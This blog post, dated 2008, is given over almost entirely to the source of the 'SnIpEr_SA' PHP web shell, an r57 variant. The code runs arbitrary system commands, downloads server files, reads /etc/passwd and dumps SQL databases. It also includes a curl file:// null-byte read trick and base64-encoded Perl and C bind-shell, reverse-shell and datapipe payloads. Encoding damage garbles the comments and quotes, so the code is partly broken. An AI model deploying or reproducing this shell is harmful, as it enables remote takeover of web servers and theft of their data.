About
Posted on August 8, 2008 - Filed Under | Leave a Comment
/******************************************************************************************************/
/* # ## ## #
/* # # ## ### ## ## # #
/* # ### ### # ### ## ### #
/* # ## ######### ## #
/* ##########
/* ### ######### ###
/* # ## ####### ## #
/* ## ##### ##
/* ## #### ##
/* #### ##
/* ######
/* ## ## ##
/* @@ ## @@
/* @ @@@ #### @@@ @
/* @@@ ###### @@@
/*
/*
/*
/*
/*
/* SnIpEr_SA.php - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ???????
/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://3asfh.net/
/* ??????:
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* ????????? ????????????? ?? ?????? ? ????: ? ???? ?????? ??.
/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ??????
/* ?? SnIpEr.SA@hotmail.com ??? ??????????? ????? ???????????.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
/* (c)oded by SnIpEr_SA
/* MAIL http://rst.void.ru , http://ghc.ru
/* ANY MODIFIED REPUBLISHING IS RESTRICTED
/******************************************************************************************************/
/* ~~~ ???????? | Options ~~~ */
// ????? | Language
// $language='ru' - ??????? (russian)
// $language='eng' - english (??????????)
$language='eng';
// ?????????????? | Authentification
// $auth = 1; - ?????? ?????? ????? ?????? ( authentification = On )
// $auth = 0; - ?????? ?????? ????? ?????? ( authentification = Off )
$auth = 0;
// ????? ????? ???? ???? ?????? (Login & Password for access)
// ?????? ??????? ?? ???? ???? ??? ??????!!! (CHANGE THIS!!!)
// ??? ???? ???? ?????? ??? ????? ????? md5, ?????? ?????? ??? ?? 'r57'
// ??????? ?? ???? ???? ????? ???? ???????? ????? md5 ?????? ?? ??????? ???????
$name='ec371748dc2da624b35a4f8f685dd122'; // ??? ???????? (user login)
$pass='ec371748dc2da624b35a4f8f685dd122'; // ???? ?????? (user password)
/******************************************************************************************************/
if(empty($_POST['SnIpEr_SA'])){
} else {
$m=$_POST['SnIpEr_SA'];
$ch =
curl_init("file:///".$m."\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
}
echo "".htmlspecialchars($m)."";
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_POST = &$HTTP_POST_VARS;
$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@get_magic_quotes_gpc())
{
foreach ($_POST as $k=>$v)
{
$_POST[$k] = stripslashes($v);
}
foreach ($_COOKIE as $k=>$v)
{
$_COOKIE[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
{
header(‘WWW-Authenticate: Basic realm=”SnIpEr_SA”‘);
header(‘HTTP/1.0 401 Unauthorized’);
exit(“SnIpEr_SA : Access Denied“);
}
}
$head = ‘
‘;
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = “\x50\x4b\x05\x06\x00\x00\x00\x00″;
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0)
{
$name = str_replace(‘\\’, ‘/’, $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = ‘\x’ . $dtime[6] . $dtime[7]
. ‘\x’ . $dtime[4] . $dtime[5]
. ‘\x’ . $dtime[2] . $dtime[3]
. ‘\x’ . $dtime[0] . $dtime[1];
eval(‘$hexdtime = “‘ . $hexdtime . ‘”;’);
$fr = “\x50\x4b\x03\x04″;
$fr .= “\x14\x00″;
$fr .= “\x00\x00″;
$fr .= “\x08\x00″;
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) – 4), 2);
$c_len = strlen($zdata);
$fr .= pack(‘V’, $crc);
$fr .= pack(‘V’, $c_len);
$fr .= pack(‘V’, $unc_len);
$fr .= pack(‘v’, strlen($name));
$fr .= pack(‘v’, 0);
$fr .= $name;
$fr .= $zdata;
$this -> datasec[] = $fr;
$cdrec = “\x50\x4b\x01\x02″;
$cdrec .= “\x00\x00″;
$cdrec .= “\x14\x00″;
$cdrec .= “\x00\x00″;
$cdrec .= “\x08\x00″;
$cdrec .= $hexdtime;
$cdrec .= pack(‘V’, $crc);
$cdrec .= pack(‘V’, $c_len);
$cdrec .= pack(‘V’, $unc_len);
$cdrec .= pack(‘v’, strlen($name) );
$cdrec .= pack(‘v’, 0 );
$cdrec .= pack(‘v’, 0 );
$cdrec .= pack(‘v’, 0 );
$cdrec .= pack(‘v’, 0 );
$cdrec .= pack(‘V’, 32 );
$cdrec .= pack(‘V’, $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file()
{
$data = implode(”, $this -> datasec);
$ctrldir = implode(”, $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack(‘v’, sizeof($this -> ctrl_dir)) .
pack(‘v’, sizeof($this -> ctrl_dir)) .
pack(‘V’, strlen($ctrldir)) .
pack(‘V’, strlen($data)) .
“\x00\x00″;
}
}
function compress(&$filename,&$filedump,$compress)
{
global $content_encoding;
global $mime_type;
if ($compress == ‘bzip’ && @function_exists(‘bzcompress’))
{
$filename .= ‘.bz2′;
$mime_type = ‘application/x-bzip2′;
$filedump = bzcompress($filedump);
}
else if ($compress == ‘gzip’ && @function_exists(‘gzencode’))
{
$filename .= ‘.gz’;
$content_encoding = ‘x-gzip’;
$mime_type = ‘application/x-gzip’;
$filedump = gzencode($filedump);
}
else if ($compress == ‘zip’ && @function_exists(‘gzcompress’))
{
$filename .= ‘.zip’;
$mime_type = ‘application/zip’;
$zipfile = new zipfile();
$zipfile -> addFile($filedump, substr($filename, 0, -4));
$filedump = $zipfile -> file();
}
else
{
$mime_type = ‘application/octet-stream’;
}
}
function mailattach($to,$from,$subj,$attach)
{
$headers = “From: $from\r\n”;
$headers .= “MIME-Version: 1.0\r\n”;
$headers .= “Content-Type: “.$attach['type'];
$headers .= “; name=\”".$attach['name'].”\”\r\n”;
$headers .= “Content-Transfer-Encoding: base64\r\n\r\n”;
$headers .= chunk_split(base64_encode($attach['content'])).”\r\n”;
if(@mail($to,$subj,”",$headers)) { return 1; }
return 0;
}
class my_sql
{
var $host = ‘localhost’;
var $port = ”;
var $user = ”;
var $pass = ”;
var $base = ”;
var $db = ”;
var $connection;
var $res;
var $error;
var $rows;
var $columns;
var $num_rows;
var $num_fields;
var $dump;
function connect()
{
switch($this->db)
{
case ‘MySQL’:
if(empty($this->port)) { $this->port = ’3306′; }
if(!function_exists(‘mysql_connect’)) return 0;
$this->connection = @mysql_connect($this->host.’:’.$this->port,$this->user,$this->pass);
if(is_resource($this->connection)) return 1;
break;
case ‘MSSQL’:
if(empty($this->port)) { $this->port = ’1433′; }
if(!function_exists(‘mssql_connect’)) return 0;
$this->connection = @mssql_connect($this->host.’,’.$this->port,$this->user,$this->pass);
if($this->connection) return 1;
break;
case ‘PostgreSQL’:
if(empty($this->port)) { $this->port = ’5432′; }
$str = “host=’”.$this->host.”‘ port=’”.$this->port.”‘ user=’”.$this->user.”‘ password=’”.$this->pass.”‘ dbname=’”.$this->base.”‘”;
if(!function_exists(‘pg_connect’)) return 0;
$this->connection = @pg_connect($str);
if(is_resource($this->connection)) return 1;
break;
case ‘Oracle’:
if(!function_exists(‘ocilogon’)) return 0;
$this->connection = @ocilogon($this->user, $this->pass, $this->base);
if(is_resource($this->connection)) return 1;
break;
}
return 0;
}
function select_db()
{
switch($this->db)
{
case ‘MySQL’:
if(@mysql_select_db($this->base,$this->connection)) return 1;
break;
case ‘MSSQL’:
if(@mssql_select_db($this->base,$this->connection)) return 1;
break;
case ‘PostgreSQL’:
return 1;
break;
case ‘Oracle’:
return 1;
break;
}
return 0;
}
function query($query)
{
$this->res=$this->error=”;
switch($this->db)
{
case ‘MySQL’:
if(false===($this->res=@mysql_query(‘/*’.chr(0).’*/’.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection);
return 0;
}
else if(is_resource($this->res)) { return 1; }
return 2;
break;
case ‘MSSQL’:
if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = ‘Query error’;
return 0;
}
else if(@mssql_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case ‘PostgreSQL’:
if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection);
return 0;
}
else if(@pg_num_rows($this->res) > 0) { return 1; }
return 2;
break;
case ‘Oracle’:
if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = ‘Query parse error’;
}
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2;
return 1;
}
$error = @ocierror();
$this->error=$error['message'];
}
break;
}
return 0;
}
function get_result()
{
$this->rows=array();
$this->columns=array();
$this->num_rows=$this->num_fields=0;
switch($this->db)
{
case ‘MySQL’:
$this->num_rows=@mysql_num_rows($this->res);
$this->num_fields=@mysql_num_fields($this->res);
while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
@mysql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case ‘MSSQL’:
$this->num_rows=@mssql_num_rows($this->res);
$this->num_fields=@mssql_num_fields($this->res);
while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
@mssql_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
break;
case ‘PostgreSQL’:
$this->num_rows=@pg_num_rows($this->res);
$this->num_fields=@pg_num_fields($this->res);
while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
@pg_free_result($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
case ‘Oracle’:
$this->num_fields=@ocinumcols($this->res);
while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
@ocifreestatement($this->res);
if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
break;
}
return 0;
}
function dump($table)
{
if(empty($table)) return 0;
$this->dump=array();
$this->dump[0] = ‘##’;
$this->dump[1] = ‘## ————————————— ‘;
$this->dump[2] = ‘## Created: ‘.date (“d/m/Y H:i:s”);
$this->dump[3] = ‘## Database: ‘.$this->base;
$this->dump[4] = ‘## Table: ‘.$table;
$this->dump[5] = ‘## ————————————— ‘;
switch($this->db)
{
case ‘MySQL’:
$this->dump[0] = ‘## MySQL dump’;
if($this->query(‘/*’.chr(0).’*/ SHOW CREATE TABLE `’.$table.’`')!=1) return 0;
if(!$this->get_result()) return 0;
$this->dump[] = $this->rows[0]['Create Table'];
$this->dump[] = ‘## ————————————— ‘;
if($this->query(‘/*’.chr(0).’*/ SELECT * FROM `’.$table.’`')!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = ‘INSERT INTO `’.$table.’` (`’.@implode(“`, `”, $this->columns).’`) VALUES (\”.@implode(“‘, ‘”, $this->rows[$i]).’\');’;
}
break;
case ‘MSSQL’:
$this->dump[0] = ‘## MSSQL dump’;
if($this->query(‘SELECT * FROM ‘.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = ‘INSERT INTO ‘.$table.’ (‘.@implode(“, “, $this->columns).’) VALUES (\”.@implode(“‘, ‘”, $this->rows[$i]).’\');’;
}
break;
case ‘PostgreSQL’:
$this->dump[0] = ‘## PostgreSQL dump’;
if($this->query(‘SELECT * FROM ‘.$table)!=1) return 0;
if(!$this->get_result()) return 0;
for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = ‘INSERT INTO ‘.$table.’ (‘.@implode(“, “, $this->columns).’) VALUES (\”.@implode(“‘, ‘”, $this->rows[$i]).’\');’;
}
break;
case ‘Oracle’:
$this->dump[0] = ‘## ORACLE dump’;
$this->dump[] = ‘## under construction’;
break;
default:
return 0;
break;
}
return 1;
}
function close()
{
switch($this->db)
{
case ‘MySQL’:
@mysql_close($this->connection);
break;
case ‘MSSQL’:
@mssql_close($this->connection);
break;
case ‘PostgreSQL’:
@pg_close($this->connection);
break;
case ‘Oracle’:
@oci_close($this->connection);
break;
}
}
function affected_rows()
{
switch($this->db)
{
case ‘MySQL’:
return @mysql_affected_rows($this->res);
break;
case ‘MSSQL’:
return @mssql_affected_rows($this->res);
break;
case ‘PostgreSQL’:
return @pg_affected_rows($this->res);
break;
case ‘Oracle’:
return @ocirowcount($this->res);
break;
default:
return 0;
break;
}
}
}
if(!empty($_POST['cmd']) && $_POST['cmd']==”download_file” && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],”r”)) { err(1,$_POST['d_name']); $_POST['cmd']=”"; }
else
{
@ob_clean();
$filename = @basename($_POST['d_name']);
$filedump = @fread($file,@filesize($_POST['d_name']));
fclose($file);
$content_encoding=$mime_type=”;
compress($filename,$filedump,$_POST['compress']);
if (!empty($content_encoding)) { header(‘Content-Encoding: ‘ . $content_encoding); }
header(“Content-type: “.$mime_type);
header(“Content-disposition: attachment; filename=\”".$filename.”\”;”);
echo $filedump;
exit();
}
}
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo “
“;
echo “
“;
echo “
“;
die();
}
if(isset($_GET['cpu']))
{
echo $head;
echo ‘
|
CPU
|
| ‘.ws(3).’‘.trim($info[0]).’ |
‘.trim($info[1]).’
|
| ‘.ws(3).’
—
|
‘;
echo “
$r .= '
‘;
}
echo $r;
}
else
{
echo ‘
‘;
}
echo ‘
‘;
echo “
$font = ““;
$ts = “
“;
$fs = “
“;
if(isset($_GET['users']))
{
if(!$users=get_users()) { echo “
else
{
echo ‘
foreach($users as $user) { echo $user.”
“; }
echo ‘
}
echo “
“;
die();
}
if(!$safe_mode && strpos(ex(“echo abcr57″),”r57″)!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv(‘SERVER_SOFTWARE’);
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = “-”; }
function ws($i)
{
return @str_repeat(“ ”,$i);
}
function ex($cfe)
{
$res = ”;
if (!empty($cfe))
{
if(function_exists(‘exec’))
{
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’))
{
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”)))
{
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function get_users()
{
$users = array();
$rows=file(‘/etc/passwd’);
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(“:”,$string);
if(substr($string,0,1)!=’#') array_push($users,$user[0]);
}
return $users;
}
function err($n,$txt=”)
{
echo ‘
|
‘;
echo $GLOBALS['lang'][$GLOBALS['language'].’_err’.$n]; if(!empty($txt)) { echo ” $txt”; } echo ‘ |
‘;
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0×1000 ) { $type=’p'; }
else if( $mode & 0×2000 ) { $type=’c'; }
else if( $mode & 0×4000 ) { $type=’d'; }
else if( $mode & 0×6000 ) { $type=’b'; }
else if( $mode & 0×8000 ) { $type=’-'; }
else if( $mode & 0xA000 ) { $type=’l'; }
else if( $mode & 0xC000 ) { $type=’s'; }
else $type=’u';
$owner["read"] = ($mode & 00400) ? ‘r’ : ‘-’;
$owner["write"] = ($mode & 00200) ? ‘w’ : ‘-’;
$owner["execute"] = ($mode & 00100) ? ‘x’ : ‘-’;
$group["read"] = ($mode & 00040) ? ‘r’ : ‘-’;
$group["write"] = ($mode & 00020) ? ‘w’ : ‘-’;
$group["execute"] = ($mode & 00010) ? ‘x’ : ‘-’;
$world["read"] = ($mode & 00004) ? ‘r’ : ‘-’;
$world["write"] = ($mode & 00002) ? ‘w’ : ‘-’;
$world["execute"] = ($mode & 00001) ? ‘x’ : ‘-’;
if( $mode & 0×800 ) $owner["execute"] = ($owner['execute']==’x') ? ‘s’ : ‘S’;
if( $mode & 0×400 ) $group["execute"] = ($group['execute']==’x') ? ‘s’ : ‘S’;
if( $mode & 0×200 ) $world["execute"] = ($world['execute']==’x') ? ‘t’ : ‘T’;
$s=sprintf(“%1s”, $type);
$s.=sprintf(“%1s%1s%1s”, $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf(“%1s%1s%1s”, $group['read'], $group['write'], $group['execute']);
$s.=sprintf(“%1s%1s%1s”, $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = “
if($size != 0) { $ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">“;
}
function which($pr)
{
$path = ex(“which $pr”);
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,”w”) or err(0);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return “
“;
}
if (!@function_exists(“view_size”))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . ” GB”;}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . ” MB”;}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . ” KB”;}
else {$size = $size . ” B”;}
return $size;
}
}
function DirFilesR($dir,$types=”)
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != “.” && $file != “..”)
{
if(@is_dir($dir.”/”.$file))
$files = @array_merge($files,DirFilesR($dir.”/”.$file,$types));
else
{
$pos = @strrpos($file,”.”);
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(‘;’,$types)))
$files[] = $dir.”/”.$file;
}
else
$files[] = $dir.”/”.$file;
}
}
}
@closedir($handle);
}
return $files;
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter=”)
{
$dirs = @explode(“;”,$dir);
$this->FilesToSearch = Array();
for($a=0;$a
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() { return $this->FilesTotal; }
function GetTitles() { return $this->titles; }
function GetTimeTotal() { return $this->TimeTotal; }
function GetMatchesCount() { return $this->MatchesCount; }
function GetFileMatchesCount() { return $this->FileMatchesCount; }
function GetResultFiles() { return $this->ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(‘ ‘,$this->text);
$delim = ‘|’;
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = ‘\b’.$v.’\b’;
$words = ‘(‘.@implode($delim,$qq).’)';
$pattern = “/”.$words.”/”;
if(!$case)
$pattern .= ‘i’;
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = '';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"\\1“,$CurString);
$this->ResultFiles[$filename][$a+1] = $CurString;
$this->MatchesCount += $count;
$this->FileMatchesCount[$filename] += $count;
}
}
}
$this->TimeTotal = @round(getmicrotime() – $this->TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(” “,@microtime());
return ((float)$usec + (float)$sec);
}
$port_bind_bd_c=”I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=”;
$port_bind_bd_pl=”IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9″;
$back_connect=”IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==”;
$back_connect_c=”I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==”;
$datapipe_c=”I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
